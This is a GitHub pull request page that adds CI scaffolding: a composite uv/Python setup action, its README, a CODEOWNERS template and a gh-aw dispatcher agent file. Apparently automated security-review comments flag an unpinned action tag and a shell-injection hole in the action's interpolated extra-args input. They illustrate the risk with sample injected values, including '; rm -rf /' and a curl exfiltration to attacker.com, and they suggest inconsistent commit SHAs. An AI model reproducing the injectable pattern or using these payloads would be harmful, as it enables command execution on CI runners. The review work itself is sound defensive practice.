Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
18 commits
Select commit Hold shift + click to select a range
6d03121
feat: improve security posture and documentation
pmalarme Feb 18, 2026
311a7da
feat: add CODEOWNERS, enhance workflows, and update documentation
pmalarme Feb 18, 2026
d4953a1
Merge branch 'main' into feature/add-documentation-and-copilot-instru…
pmalarme Feb 18, 2026
ae8a741
feat: enhance documentation and improve code structure in workflows a…
pmalarme Feb 18, 2026
a4d5d4e
feat: add comprehensive documentation and workflows for Python enviro…
pmalarme Feb 18, 2026
de28695
feat: update permissions for pull request handling in security review…
pmalarme Feb 18, 2026
384abd6
feat: update permissions for pull requests in security review workflow
pmalarme Feb 18, 2026
642e7f1
feat: remove outdated Python Docker workflow and update security revi…
pmalarme Feb 18, 2026
226b096
feat: update security review workflow to allow multiple reviewers and…
pmalarme Feb 18, 2026
8442740
feat: update GitHub Actions setup to version 0.46.1 and enhance docum…
pmalarme Feb 18, 2026
b0d203b
feat: enhance security review documentation and add cache memory inst…
pmalarme Feb 18, 2026
e827dad
feat: update GitHub Actions setup to version 0.46.3 and enhance secur…
pmalarme Feb 19, 2026
3242629
feat: update documentation for security review and standardize Copilo…
pmalarme Feb 19, 2026
9d223dd
feat: update documentation and remove deprecated model reference for …
pmalarme Feb 19, 2026
2f93ec8
feat: update documentation and security review configurations for Cop…
pmalarme Feb 19, 2026
18986b0
feat: update security review documentation and add user-specific revi…
pmalarme Feb 19, 2026
ea6a740
Update the reviewer for testing if they are assigned
pmalarme Feb 19, 2026
83bb9d4
feat: update security review documentation and remove user-specific r…
pmalarme Feb 19, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitattributes
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
.github/workflows/*.lock.yml linguist-generated=true merge=ours
14 changes: 14 additions & 0 deletions .github/CODEOWNERS
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# CODEOWNERS — uncomment and customize after creating a repo from this template.
# See: https://docs.github.com/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners
#
# Default owners for everything in the repo
# * @your-org/your-team
#
# Agent-specific ownership
# agents/agent1/ @your-org/agent1-team
#
# CI / workflow changes require admin review
# .github/ @your-org/platform-team
#
# Documentation
# docs/ @your-org/docs-team
48 changes: 48 additions & 0 deletions .github/actions/setup-python-env/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
# Setup Python Environment

Composite GitHub Action that sets up [uv](https://docs.astral.sh/uv/) with a
specific Python version and installs project dependencies via `uv sync`.

## Inputs

| Input | Required | Default | Description |
|---|---|---|---|
| `python-version` | No | `"3.13"` | Python version to install (e.g. `"3.13"`, `"3.10"`). |
| `include-docs` | No | `"false"` | When `"true"`, adds `--group docs` to install Sphinx and related packages. |
| `extra-args` | No | `""` | Additional arguments appended to the `uv sync` command. |

The base command is always `uv sync --all-extras --dev`. The `include-docs` flag
and `extra-args` extend it.

## Usage

### Minimal (defaults to Python 3.13)

```yaml
- uses: ./.github/actions/setup-python-env
```

### With a Python version matrix

```yaml
- uses: ./.github/actions/setup-python-env
with:
python-version: ${{ matrix.python-version }}
```

### Including docs dependencies

```yaml
- uses: ./.github/actions/setup-python-env
with:
include-docs: "true"
```

### With extra sync arguments

```yaml
- uses: ./.github/actions/setup-python-env
with:
include-docs: "true"
extra-args: "--all-packages -U --prerelease=if-necessary-or-explicit"
```
34 changes: 34 additions & 0 deletions .github/actions/setup-python-env/action.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
name: "Setup Python environment"
description: "Set up uv with Python and install project dependencies."

inputs:
python-version:
description: "Python version to install (e.g. '3.13', '3.10')."
required: false
default: "3.13"
include-docs:
description: "Install the docs dependency group (sphinx, sphinx_autodoc_typehints, …)."
required: false
default: "false"
extra-args:
description: "Additional arguments appended to the `uv sync` command."
required: false
default: ""

runs:
using: composite
steps:
- name: Set up uv
uses: astral-sh/setup-uv@v5

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14) — Severity: Medium

astral-sh/setup-uv@v5 is a third-party action pinned by mutable tag, not by commit SHA. Tag v5 can be moved to point to a different (possibly malicious) commit at any time, creating a supply-chain risk.

Recommendation: Pin the action by its commit SHA:

uses: astral-sh/setup-uv@f0ec1fc3b38f5e7cd731bb6ce540c5af6b3eba13 # v5.4.2

Obtain the SHA with:

gh api repos/astral-sh/setup-uv/git/ref/tags/v5 --jq '.object.sha'

Apply the same SHA-pinning to all third-party actions in this composite action.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security
Severity: High

astral-sh/setup-uv@v5 is referenced by a mutable version tag rather than a pinned SHA. If the v5 tag is moved or the astral-sh/setup-uv repository is compromised, malicious code could run in every workflow that calls this composite action (which includes every code-quality, test, build, release, and docs workflow).

Recommendation: Pin to a specific commit SHA:

uses: astral-sh/setup-uv@f0ec1fc3b38f5e7cd731bb6ce540c5af426746bb  # v5.4.2

You can find the current SHA by running gh api repos/astral-sh/setup-uv/git/ref/tags/v5 --jq .object.sha or by checking the releases page.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14)
Severity: Medium

astral-sh/setup-uv@v5 uses a mutable version tag rather than an immutable commit SHA. If this tag is updated — intentionally or via a supply-chain compromise — the new code runs automatically in every CI pipeline without review.

Recommendation: Pin to the specific commit SHA for the desired version. For example:

uses: astral-sh/setup-uv@f0b8a6b27a14e46aea0d35b12e0f6e50e2f2b37e  # v5.4.0

Run gh aw compile --validate or use Dependabot (already configured) to keep the SHA up to date while remaining pinned.

with:
python-version: ${{ inputs.python-version }}
enable-cache: true

- name: Install dependencies
shell: bash
run: |
args="--all-extras --dev"
if [[ "${{ inputs.include-docs }}" == "true" ]]; then
args="$args --group docs"
fi
uv sync $args ${{ inputs.extra-args }}

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14) — Severity: High

$\{\{ inputs.extra-args }} is interpolated directly into the shell script at template-render time, before the shell parses the script. If a workflow passes a value containing shell metacharacters (e.g., --extra ; malicious-command), those characters are executed by the shell. This is a template/script-injection vulnerability.

Recommendation: Pass the input value through an environment variable so the shell receives it as a data string, not executable text:

- name: Install dependencies
  shell: bash
  env:
    EXTRA_ARGS: $\{\{ inputs.extra-args }}
  run: |
    args="--all-extras --dev"
    if [[ "$\{\{ inputs.include-docs }}" == "true" ]]; then
      args="$args --group docs"
    fi
    # Word-split EXTRA_ARGS intentionally to allow multiple flags
    # shellcheck disable=SC2086
    uv sync $args $EXTRA_ARGS

By routing the value through env:, the template expression is evaluated in a context where the runner sanitises the assignment rather than embedding raw text into executable code.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution / CI/CD Security
Severity: Medium

$\{\{ inputs.extra-args }} is expanded by GitHub Actions at YAML-evaluation time and interpolated directly into the shell command without quoting. A value containing shell metacharacters (;, &&, |, $(...)) would be interpreted by Bash and could execute arbitrary commands in the runner.

For example, `extra-args: "; curl (attacker.com/redacted) would exfiltrate the token.

Recommendation: Assign the input to a shell variable first, then expand it unquoted (to allow space-separated flags) but after validating it contains only safe characters, or use xargs / an array:

run: |
  args="--all-extras --dev"
  if [[ "$\{\{ inputs.include-docs }}" == "true" ]]; then
    args="$args --group docs"
  fi
  # Assign to variable so YAML injection is confined to a single assignment
  extra="$\{\{ inputs.extra-args }}"
  # Validate: only allow alphanumeric, spaces, hyphens, equals, dots
  if [[ -n "$extra" && ! "$extra" =~ ^[a-zA-Z0-9\ \-\=\.\,\_]+$ ]]; then
    echo "::error::extra-args contains disallowed characters: $extra"
    exit 1
  fi
  uv sync $args $extra

Alternatively, avoid passing raw extra-args and instead expose explicit boolean flags for each well-defined option.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution / Input Validation (Categories 3 & 1)
Severity: Medium

$\{\{ inputs.extra-args }} is directly interpolated into the shell command without quoting. A caller passing a value containing shell metacharacters (e.g., ; rm -rf /, backticks, $(...)) could inject arbitrary shell commands at the runner level.

This is a template injection pattern: the GitHub Actions expression is expanded before the shell sees the script, making it impossible for the shell's quoting to protect against it.

# Current — vulnerable to injection
uv sync $args $\{\{ inputs.extra-args }}

Recommendation: Pass the value through an environment variable so the shell sees it as data, not code:

- name: Install dependencies
  shell: bash
  env:
    EXTRA_ARGS: $\{\{ inputs.extra-args }}
  run: |
    args="--all-extras --dev"
    if [[ "$\{\{ inputs.include-docs }}" == "true" ]]; then
      args="$args --group docs"
    fi
    # shellcheck disable=SC2086  # word-splitting is intentional for args
    uv sync $args $EXTRA_ARGS

Using an environment variable ensures the value is passed as a string bound to the variable, not interpolated into the script source. Also quote $args or use an array if you want to be strict about word splitting.

143 changes: 143 additions & 0 deletions .github/agents/agentic-workflows.agent.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,143 @@
---
description: GitHub Agentic Workflows (gh-aw) - Create, debug, and upgrade AI-powered workflows with intelligent prompt routing
disable-model-invocation: true
---

# GitHub Agentic Workflows Agent

This agent helps you work with **GitHub Agentic Workflows (gh-aw)**, a CLI extension for creating AI-powered workflows in natural language using markdown files.

## What This Agent Does

This is a **dispatcher agent** that routes your request to the appropriate specialized prompt based on your task:

- **Creating new workflows**: Routes to `create` prompt
- **Updating existing workflows**: Routes to `update` prompt
- **Debugging workflows**: Routes to `debug` prompt
- **Upgrading workflows**: Routes to `upgrade-agentic-workflows` prompt
- **Creating shared components**: Routes to `create-shared-agentic-workflow` prompt

Workflows may optionally include:

- **Project tracking / monitoring** (GitHub Projects updates, status reporting)
- **Orchestration / coordination** (one workflow assigning agents or dispatching and coordinating other workflows)

## Files This Applies To

- Workflow files: `.github/workflows/*.md` and `.github/workflows/**/*.md`
- Workflow lock files: `.github/workflows/*.lock.yml`
- Shared components: `.github/workflows/shared/*.md`
- Configuration: https://github.com/github/gh-aw/blob/v0.46.0/.github/aw/github-agentic-workflows.md

## Problems This Solves

- **Workflow Creation**: Design secure, validated agentic workflows with proper triggers, tools, and permissions
- **Workflow Debugging**: Analyze logs, identify missing tools, investigate failures, and fix configuration issues
- **Version Upgrades**: Migrate workflows to new gh-aw versions, apply codemods, fix breaking changes
- **Component Design**: Create reusable shared workflow components that wrap MCP servers

## How to Use

When you interact with this agent, it will:

1. **Understand your intent** - Determine what kind of task you're trying to accomplish
2. **Route to the right prompt** - Load the specialized prompt file for your task
3. **Execute the task** - Follow the detailed instructions in the loaded prompt

## Available Prompts

### Create New Workflow
**Load when**: User wants to create a new workflow from scratch, add automation, or design a workflow that doesn't exist yet

**Prompt file**: https://github.com/github/gh-aw/blob/v0.46.0/.github/aw/create-agentic-workflow.md

**Use cases**:
- "Create a workflow that triages issues"
- "I need a workflow to label pull requests"
- "Design a weekly research automation"

### Update Existing Workflow
**Load when**: User wants to modify, improve, or refactor an existing workflow

**Prompt file**: https://github.com/github/gh-aw/blob/v0.46.0/.github/aw/update-agentic-workflow.md

**Use cases**:
- "Add web-fetch tool to the issue-classifier workflow"
- "Update the PR reviewer to use discussions instead of issues"
- "Improve the prompt for the weekly-research workflow"

### Debug Workflow
**Load when**: User needs to investigate, audit, debug, or understand a workflow, troubleshoot issues, analyze logs, or fix errors

**Prompt file**: https://github.com/github/gh-aw/blob/v0.46.0/.github/aw/debug-agentic-workflow.md

**Use cases**:
- "Why is this workflow failing?"
- "Analyze the logs for workflow X"
- "Investigate missing tool calls in run #12345"

### Upgrade Agentic Workflows
**Load when**: User wants to upgrade workflows to a new gh-aw version or fix deprecations

**Prompt file**: https://github.com/github/gh-aw/blob/v0.46.0/.github/aw/upgrade-agentic-workflows.md

**Use cases**:
- "Upgrade all workflows to the latest version"
- "Fix deprecated fields in workflows"
- "Apply breaking changes from the new release"

### Create Shared Agentic Workflow
**Load when**: User wants to create a reusable workflow component or wrap an MCP server

**Prompt file**: https://github.com/github/gh-aw/blob/v0.46.0/.github/aw/create-shared-agentic-workflow.md

**Use cases**:
- "Create a shared component for Notion integration"
- "Wrap the Slack MCP server as a reusable component"
- "Design a shared workflow for database queries"

## Instructions

When a user interacts with you:

1. **Identify the task type** from the user's request
2. **Load the appropriate prompt** from the GitHub repository URLs listed above
3. **Follow the loaded prompt's instructions** exactly
4. **If uncertain**, ask clarifying questions to determine the right prompt

## Quick Reference

```bash
# Initialize repository for agentic workflows
gh aw init

# Generate the lock file for a workflow
gh aw compile [workflow-name]

# Debug workflow runs
gh aw logs [workflow-name]
gh aw audit <run-id>

# Upgrade workflows
gh aw fix --write
gh aw compile --validate
```

## Key Features of gh-aw

- **Natural Language Workflows**: Write workflows in markdown with YAML frontmatter
- **AI Engine Support**: Copilot, Claude, Codex, or custom engines
- **MCP Server Integration**: Connect to Model Context Protocol servers for tools
- **Safe Outputs**: Structured communication between AI and GitHub API
- **Strict Mode**: Security-first validation and sandboxing
- **Shared Components**: Reusable workflow building blocks
- **Repo Memory**: Persistent git-backed storage for agents
- **Sandboxed Execution**: All workflows run in the Agent Workflow Firewall (AWF) sandbox, enabling full `bash` and `edit` tools by default

## Important Notes

- Always reference the instructions file at https://github.com/github/gh-aw/blob/v0.46.0/.github/aw/github-agentic-workflows.md for complete documentation
- Use the MCP tool `agentic-workflows` when running in GitHub Copilot Cloud
- Workflows must be compiled to `.lock.yml` files before running in GitHub Actions
- **Bash tools are enabled by default** - Don't restrict bash commands unnecessarily since workflows are sandboxed by the AWF
- Follow security best practices: minimal permissions, explicit network access, no template injection
Loading
Loading